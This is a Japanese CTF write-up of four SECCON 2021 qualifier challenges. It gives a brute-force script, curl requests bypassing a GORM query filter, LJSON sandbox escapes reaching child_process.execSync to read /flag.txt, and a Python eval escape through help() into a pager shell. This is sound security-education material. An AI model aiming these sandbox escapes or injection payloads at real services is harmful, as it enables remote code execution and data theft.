12/11 - 12/12という日程で開催された。keymoonさんとチーム(o^_o)として参加し、全体10位、国内1位だった。U-25チームとして出ていたので賞金として10万円がもらえるらしく嬉しい(o^_o)
他のメンバー(keymoonさんしかいないけど…)が書いたwrite-up:
- [Reversing 130] corrupted flag (55 solves)
- [Web 103] Vulnerabilities (94 solves)
- [Web 205] Sequence as a Service 1 (20 solves)
- [Web 210] Sequence as a Service 2 (19 solves)
- [Misc 227] hitchhike (16 solves)
[Reversing 130] corrupted flag (55 solves)
It looks like some bits of the flag are corrupted.
ということでフラグが変換されたらしき flag.txt.enc
というファイルと、その変換を行う corrupt
というELFファイルが与えられる。適当な内容のファイルで何度か試してみると、実行するごとに変換後のファイルの一部がランダムに変わっていることがわかる。
keymoonさんがどのように変換されているか解析しPythonコードに直していた。が、何も考えずに1バイトずつブルートフォースし、変換後のファイルと問題に添付されていた flag.txt.enc
とを1ビットずつ比較したときにもっとも一致していたものを採用していくと、フラグのほとんどの部分がわかった。それでも何度か出力は変わるが、何度か試したら通った。ptr-yudaiさんごめんなさい。
import os def test(s): with open('flag.txt', 'w') as f: f.write(s) os.system('./corrupt') with open('flag.txt.enc', 'rb') as f: s = f.read() return s def to_bin(s): return ''.join(bin(x)[2:].zfill(8) for x in s) def compare(a, b): a, b = to_bin(a), to_bin(b) return sum(x == y for x, y in zip(a, b)) # orig.encは問題に添付されていたflag.txt.enc with open('orig.enc', 'rb') as f: orig = f.read() known = '' for i in range(72): mc, ms = '', 0 #for c in range(0x20, 0x7f): for c in b'0123456789abcdefSECCON{}': s = 0 for _ in range(100): s += compare(test(known + chr(c)), orig) if s > ms: mc, ms = chr(c), s known += mc print(known)
SECCON{9e469af5f60e7f0c98854ebf0afd254c102154587a7491594900a8d186df4801}
[Web 103] Vulnerabilities (94 solves)
How many vulnerabilities do you know?
以下のようなGoのソースコードが与えられている。DBにある &Vulnerability{Name: flag, Logo: "/images/" + flag + ".png", URL: "seccon://" + flag}
というレコードを取得できればよさそうだが、SQLiができそうな箇所は見当たらない。
package main import ( "log" "os" "github.com/gin-contrib/static" "github.com/gin-gonic/gin" "github.com/gin-gonic/gin/binding" "gorm.io/driver/sqlite" "gorm.io/gorm" ) type Vulnerability struct { gorm.Model Name string Logo string URL string } func main() { gin.SetMode(gin.ReleaseMode) flag := os.Getenv("FLAG") if flag == "" { flag = "SECCON{dummy_flag}" } db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) if err != nil { log.Fatal("failed to connect database") } db.AutoMigrate(&Vulnerability{}) db.Create(&Vulnerability{Name: "Heartbleed", Logo: "/images/heartbleed.png", URL: "https://heartbleed.com/"}) db.Create(&Vulnerability{Name: "Badlock", Logo: "/images/badlock.png", URL: "http://badlock.org/"}) db.Create(&Vulnerability{Name: "DROWN Attack", Logo: "/images/drown.png", URL: "https://drownattack.com/"}) db.Create(&Vulnerability{Name: "CCS Injection", Logo: "/images/ccs.png", URL: "http://ccsinjection.lepidum.co.jp/"}) db.Create(&Vulnerability{Name: "httpoxy", Logo: "/images/httpoxy.png", URL: "https://httpoxy.org/"}) db.Create(&Vulnerability{Name: "Meltdown", Logo: "/images/meltdown.png", URL: "https://meltdownattack.com/"}) db.Create(&Vulnerability{Name: "Spectre", Logo: "/images/spectre.png", URL: "https://meltdownattack.com/"}) db.Create(&Vulnerability{Name: "Foreshadow", Logo: "/images/foreshadow.png", URL: "https://foreshadowattack.eu/"}) db.Create(&Vulnerability{Name: "MDS", Logo: "/images/mds.png", URL: "https://mdsattacks.com/"}) db.Create(&Vulnerability{Name: "ZombieLoad Attack", Logo: "/images/zombieload.png", URL: "https://zombieloadattack.com/"}) db.Create(&Vulnerability{Name: "RAMBleed", Logo: "/images/rambleed.png", URL: "https://rambleed.com/"}) db.Create(&Vulnerability{Name: "CacheOut", Logo: "/images/cacheout.png", URL: "https://cacheoutattack.com/"}) db.Create(&Vulnerability{Name: "SGAxe", Logo: "/images/sgaxe.png", URL: "https://cacheoutattack.com/"}) db.Create(&Vulnerability{Name: flag, Logo: "/images/" + flag + ".png", URL: "seccon://" + flag}) r := gin.Default() // Return a list of vulnerability names // {"Vulnerabilities": ["Heartbleed", "Badlock", ...]} r.GET("/api/vulnerabilities", func(c *gin.Context) { var vulns []Vulnerability if err := db.Where("name != ?", flag).Find(&vulns).Error; err != nil { c.JSON(400, gin.H{"Error": "DB error"}) return } var names []string for _, vuln := range vulns { names = append(names, vuln.Name) } c.JSON(200, gin.H{"Vulnerabilities": names}) }) // Return details of the vulnerability // {"Logo": "???.png", "URL": "https://..."} r.POST("/api/vulnerability", func(c *gin.Context) { // Validate the parameter var json map[string]interface{} if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil { c.JSON(400, gin.H{"Error": "JSON error 1"}) return } if name, ok := json["Name"]; !ok || name == "" || name == nil { c.JSON(400, gin.H{"Error": "no \"Name\""}) return } // Get details of the vulnerability var query Vulnerability if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil { c.JSON(400, gin.H{"Error": "JSON error 2"}) return } var vuln Vulnerability if err := db.Where(&query).First(&vuln).Error; err != nil { c.JSON(404, gin.H{"Error": "not found"}) return } c.JSON(200, gin.H{ "Logo": vuln.Logo, "URL": vuln.URL, }) }) r.Use(static.Serve("/", static.LocalFile("static", false))) if err := r.Run(":8080"); err != nil { log.Fatal(err) } }
GORMのドキュメントを見ていると、/api/vulnerability
で使われている db.Where(&query)
は、フィールドの値が 0
, ''
, false
のようなゼロ値である場合にはそのフィールドがクエリの絞り込みに使われないということがわかった。つまり、Name
, Logo
, URL
のいずれもゼロ値として扱われる値を含むようにすれば SELECT * FROM vulnerabilities
のように検索条件が取っ払われるはずだ。
しかしながら、ソースコードをよく見ると事前にJSONに含まれている Name
というプロパティの値が ''
でも nil
でもないことがチェックされていることがわかる。そんな…。
// Validate the parameter var json map[string]interface{} if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil { c.JSON(400, gin.H{"Error": "JSON error 1"}) return } if name, ok := json["Name"]; !ok || name == "" || name == nil { c.JSON(400, gin.H{"Error": "no \"Name\""}) return }
この後で json
が再利用されることはなく、なぜか query
という新しい変数が使われている。どういうことだろう。
// Get details of the vulnerability var query Vulnerability if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil { c.JSON(400, gin.H{"Error": "JSON error 2"}) return } var vuln Vulnerability if err := db.Where(&query).First(&vuln).Error; err != nil { c.JSON(404, gin.H{"Error": "not found"}) return }
Name
には hoge
のようなゼロ値でない適当な文字列を入れておいて、別に name
という空文字列の入っているプロパティをJSONに生やせばどうなるのだろうと思い試してみる。すると最初のレコードであるHeartbleedの情報が返ってきた。どうやら query.Name
に空文字列を入れることができたらしい。
$ curl 'https://vulnerabilities.quals.seccon.jp/api/vulnerability' -H 'Content-Type: application/json' --data-raw '{"Name":"hoge","name":""}' {"Logo":"/images/heartbleed.png","URL":"https://heartbleed.com/"}
しかしフラグの含まれているレコードを取得できなければ意味がない。Logo
, URL
のいずれのフィールドにもフラグが含まれており、これらを使って目的のレコードに絞り込むことはできない。ほかにフィールドがないか再びGORMのドキュメントやソースコードを確認してみると、Vulnerability
という構造体に埋め込まれている gorm.Model
には、以下のように ID
などのフィールドが含まれていることがわかった。
type Model struct { ID uint `gorm:"primaryKey"` CreatedAt time.Time UpdatedAt time.Time DeletedAt gorm.DeletedAt `gorm:"index"` }
ID
を14とするとフラグが得られた。
$ curl 'https://vulnerabilities.quals.seccon.jp/api/vulnerability' -H 'Content-Type: application/json' --data-raw '{"Name":"hoge","name":"","ID":14}' {"Logo":"/images/SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}.png","URL":"seccon://SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}"}
SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}
[Web 205] Sequence as a Service 1 (20 solves)
I've heard that SaaS is very popular these days. So, I developed it, too. You can access it here.
好きな数列のn番目の値を求めてくれる便利サービス。ソースコードを読んでみると、以下のように /api/getValue
に sequence
というGETパラメータとしてLJSONというフォーマットの文字列を与えると実行してくれることがわかる。
/api/getValue?sequence=%28a%2Cb%29%3D%3E%28a%28%22%2C%22%2Ca%28%22%2C%22%2Ca%28%22set%22%2Ca%28%22self%22%29%2C0%2C1%29%2Ca%28%22for%22%2C0%2Cb%2C%28c%29%3D%3E%28a%28%22set%22%2Ca%28%22self%22%29%2C0%2Ca%28%22*%22%2Ca%28%22get%22%2Ca%28%22self%22%29%2C0%29%2C2%29%29%29%29%29%2Ca%28%22get%22%2Ca%28%22self%22%29%2C0%29%29%29&n=4
LJSONはJSONでも関数が扱えるようにしたようなフォーマットであり、とはいえセキュリティを考慮してか限られた関数しか呼び出せず、また文法を確認しても((a)=>(a)).constructor.constructor
のようにプロパティを辿るような機能はなさそう。ソースコードを読むと、この問題ではビルトインの関数として +
, -
, for
などの安全そうなもののみが扱えるようになっていることがわかる。
// lib.js const lib = { "+": (x, y) => x + y, "-": (x, y) => x - y, "*": (x, y) => x * y, "/": (x, y) => x / y, ",": (x, y) => (x, y), "for": (l, r, f) => { for (let i = l; i < r; i++) { f(i); } }, "set": (map, i, value) => { map[i] = value; return map[i]; }, "get": (map, i) => { return typeof i === "number" ? map[i] : null; }, "self": () => lib, }; module.exports = lib;
// service.js const LJSON = require("ljson"); const lib = require("./lib.js"); const sequence = process.argv[2]; const n = parseInt(process.argv[3]); console.log(LJSON.parseWithLib(lib, sequence)(n));
オブジェクトのプロパティにアクセスできる関数として get
が与えられているが、残念ながら typeof i === "number"
と添字が Number
であるか確認されている。typeof
演算子をごまかして a("get",123,"constructor")
のようなことができれば嬉しいが、おそらくできない。
オブジェクトのプロパティに値を代入できる関数として set
が与えられている。こちらは指定したプロパティに指定した値を代入後、変更された後の値を返り値として返している。よく見ると、(map, i, value) => { map[i] = value; return map[i]; }
と引数の value
をそのまま返すのではなく、わざわざ map[i]
を返している。普通ならこれらは同じ値だが、もし map[i] = value
によって map[i]
が書き換えられなければどうだろうか。つまり、non-writableなプロパティではどうなるだろうか。そのような場合では、set
を引数が Number
であるか確認しない get
として扱えるはずだ。
以下のようなJavaScriptコードを使って、配列やら関数やら色々なオブジェクトのnon-writableなプロパティを探していると、Function.prototype.caller
やFunction.prototype.arguments
が見つかった。MDNでは非推奨とされているが、この問題で使われているNode.js 17.0.1ではまだ残っている。呼び出し元の関数や、あるいはそれらに渡された引数になにか有用なものがあれば set
と get
を駆使してアクセスできるはずだ。
const target = Object.getPrototypeOf([]); const descs = Object.getOwnPropertyDescriptors(target); const nonWritableProps = Object.entries(descs).filter(([k, v]) => !v.writable); console.log(nonWritableProps.map(([k, _]) => k));
(a,b)=>( a("set",a,"caller",123) )
で呼び出し元の関数をチェックし、(a,b)=>( a("set",a("set",a,"caller",123),"arguments",123) )
でその関数に与えられた引数をチェックし、次に呼び出し元の関数の呼び出し元の関数をチェックし…という作業を続けていくと、a.caller.caller.caller.arguments
に require
が含まれていることがわかった。
[Arguments] { '0': {}, '1': [Function: require] { resolve: [Function: resolve] { paths: [Function: paths] }, main: Module { id: '.', path: '/app', exports: {}, filename: '/app/service.js', loaded: false, children: [Array], paths: [Array] }, extensions: [Object: null prototype] { '.js': [Function (anonymous)], '.json': [Function (anonymous)], '.node': [Function (anonymous)] }, cache: [Object: null prototype] { '/app/service.js': [Module], '/app/node_modules/ljson/LJSON.js': [Module], '/app/node_modules/ljson/parsenhora.js': [Module], '/app/lib.js': [Module] } }, '2': Module { id: '.', path: '/app', exports: {}, filename: '/app/service.js', loaded: false, children: [ [Module], [Module] ], paths: [ '/app/node_modules', '/node_modules' ] }, '3': '/app/service.js', '4': '/app' }
あとは require('child_process').execSync
相当のことをして終わりかと思いきや、残念ながらそれだけではない。モジュールの execSync
プロパティにアクセスしようにも、前述のようにLJSON自身はプロパティへのアクセスをサポートしていないし、set
でアクセスしようにも execSync
はwritableなので書き換えてしまう。
少し悩んで、a("self")
で lib
を取得した後に lib.__proto__ = require('child_process')
相当のことをすれば、a("execSync","ls",{"encoding":"utf-8"})
でOSコマンドを実行できるのではないかと考えた。ということで、以下のコードでフラグが得られた。
(a,b)=>( [ a("set",a("self"),"__proto__",a("get",a("set",a("set",a("set",a("set",a,"caller",0),"caller",0),"caller",0),"arguments",0),1)("child_process")), a("execSync","cat /flag.txt",{"encoding":"utf-8"}) ] )
[ { _forkChild: [Function: _forkChild], ChildProcess: [Function: ChildProcess], exec: [Function: exec], execFile: [Function: execFile], execFileSync: [Function: execFileSync], execSync: [Function: execSync], fork: [Function: fork], spawn: [Function: spawn], spawnSync: [Function: spawnSync] }, 'SECCON{Fr4cTaL_seq_1s_G00D:1,1,2,1,3,2,4,1,5,3,6,2,7,4,8,1}\n' ]
SECCON{Fr4cTaL_seq_1s_G00D:1,1,2,1,3,2,4,1,5,3,6,2,7,4,8,1}
[Web 210] Sequence as a Service 2 (19 solves)
NEW FEATURE: You can get values from two sequences at the same time! Go here.
ということで、SaaS 1に同時に2つの数列から値を取ってこれるようになったが、ついでに a("self")
から lib
にアクセスできないようになってしまった。
// service.js const LJSON = require("ljson"); const lib = require("./lib.js"); const sequence0 = process.argv[2]; const n0 = parseInt(process.argv[3]); const sequence1 = process.argv[4]; const n1 = parseInt(process.argv[5]); console.log([ LJSON.parseWithLib(lib, sequence0)({}, n0), LJSON.parseWithLib(lib, sequence1)({}, n1), ]);
それなら a("self")
の代替として require("./lib.js");
を使って lib
を取ってこればよい。以下のコードでフラグが得られた。
(a,b,c) => ( [ a("set",a("get",a("set",a("set",a("set",a("set",a,"caller",0),"caller",0),"caller",0),"arguments",0),1)("./lib.js"),"__proto__",a("get",a("set",a("set",a("set",a("set",a,"caller",0),"caller",0),"caller",0),"arguments",0),1)("child_process")),a("execSync","cat /flag.txt",{"encoding":"utf-8"})]))
[ 1, [ { _forkChild: [Function: _forkChild], ChildProcess: [Function: ChildProcess], exec: [Function: exec], execFile: [Function: execFile], execFileSync: [Function: execFileSync], execSync: [Function: execSync], fork: [Function: fork], spawn: [Function: spawn], spawnSync: [Function: spawnSync] }, 'SECCON{45deg_P4sc4l_g3Ner4tes_Fib0n4CCi_5eq!}\n' ] ]
SECCON{45deg_P4sc4l_g3Ner4tes_Fib0n4CCi_5eq!}
[Misc 227] hitchhike (16 solves)
The Answer to the Ultimate Question of Life, the Universe, and Everything is 42.
添付ファイルとしてサーバ側で動いているソースコードが与えられている。{x} * {v}
の右辺に入力した8文字以内の文字列が、左辺に 6
, 6.6
, '666'
, [6666]
, {b'6':6666}
がひとつずつ展開され eval
される。そのすべてで評価した結果が42になるようにすればよいらしい。
#!/usr/bin/env python3.9 import os def f(x): print(f'value 1: {repr(x)}') v = input('value 2: ') if len(v) > 8: return return eval(f'{x} * {v}', {}, {}) if __name__ == '__main__': print("+---------------------------------------------------+") print("| The Answer to the Ultimate Question of Life, |") print("| the Universe, and Everything is 42 |") print("+---------------------------------------------------+") for x in [6, 6.6, '666', [6666], {b'6':6666}]: if f(x) != 42: print("Something is fundamentally wrong with your universe.") exit(1) else: print("Correct!") print("Congrats! Here is your flag:") print(os.getenv("FLAG", "FAKECON{try it on remote}"))
最初の4つでは 0+42
を入力すればよいことをkeymoonさんが見つけていたが、5問目では左辺が dict
であるために例外が発生してしまい通らない。1if 0else 42
のように条件式を使えば {b'6':6666}*1
の部分を評価させないようにできるのではと考えたが、それでも12文字だし弾かれてしまう。
しばらく考えて、これは真面目に取り組むような問題ではなくなんらかの方法で任意コード実行に持ち込むようなものなのではと思い始める。6文字以下のビルトイン関数でなにかいいものがないか探してみると、help
が見つかった。help
は pydoc
を使っているし、pydoc
ではページャーを呼び出せる。less
か more
を起動できれば、コマンドからOSコマンドを呼び出せるはず。
>>> [k for k in dir(__builtins__) if len(k) <= 6] ['False', 'None', 'True', '_', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'bytes', 'chr', 'dict', 'dir', 'divmod', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'hash', 'help', 'hex', 'id', 'input', 'int', 'iter', 'len', 'list', 'locals', 'map', 'max', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'quit', 'range', 'repr', 'round', 'set', 'slice', 'sorted', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']
help
を呼び出し、タブキーを押してからエンターを押すとページャーが起動した。!printenv
で環境変数からフラグが得られた。
$ nc hiyoko.quals.seccon.jp 10042 +---------------------------------------------------+ | The Answer to the Ultimate Question of Life, | | the Universe, and Everything is 42 | +---------------------------------------------------+ value 1: 6 value 2: help() Welcome to Python 3.9's help utility! If this is your first time using Python, you should definitely check out the tutorial on the Internet at https://docs.python.org/3.9/tutorial/. Enter the name of any module, keyword, or topic to get help on writing Python programs and using Python modules. To quit this help utility and return to the interpreter, just type "quit". To get a list of available modules, keywords, symbols, or topics, type "modules", "keywords", "symbols", or "topics". Each module also comes with a one-line summary of what it does; to list the modules whose name or summary contain a given string such as "spam", type "modules spam". help> [Tab][Return] ... --More--:!printenv !printenv HOSTNAME=57775d161be2 SOCAT_PEERADDR=… HOME=/home/ctf SOCAT_PEERPORT=… SOCAT_SOCKADDR=172.21.0.2 LC_CTYPE=C.UTF-8 SOCAT_VERSION=1.7.3.3 SOCAT_SOCKPORT=10042 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin DEBIAN_FRONTEND=noninteractive PWD=/home/ctf SOCAT_PID=7261 SOCAT_PPID=8 FLAG=SECCON{1_b3li3v3_th1s_1s_th3_sh0rt3st_Pyth0n_c0d3_2_g3t_SH3LL} ------------------------
SECCON{1_b3li3v3_th1s_1s_th3_sh0rt3st_Pyth0n_c0d3_2_g3t_SH3LL}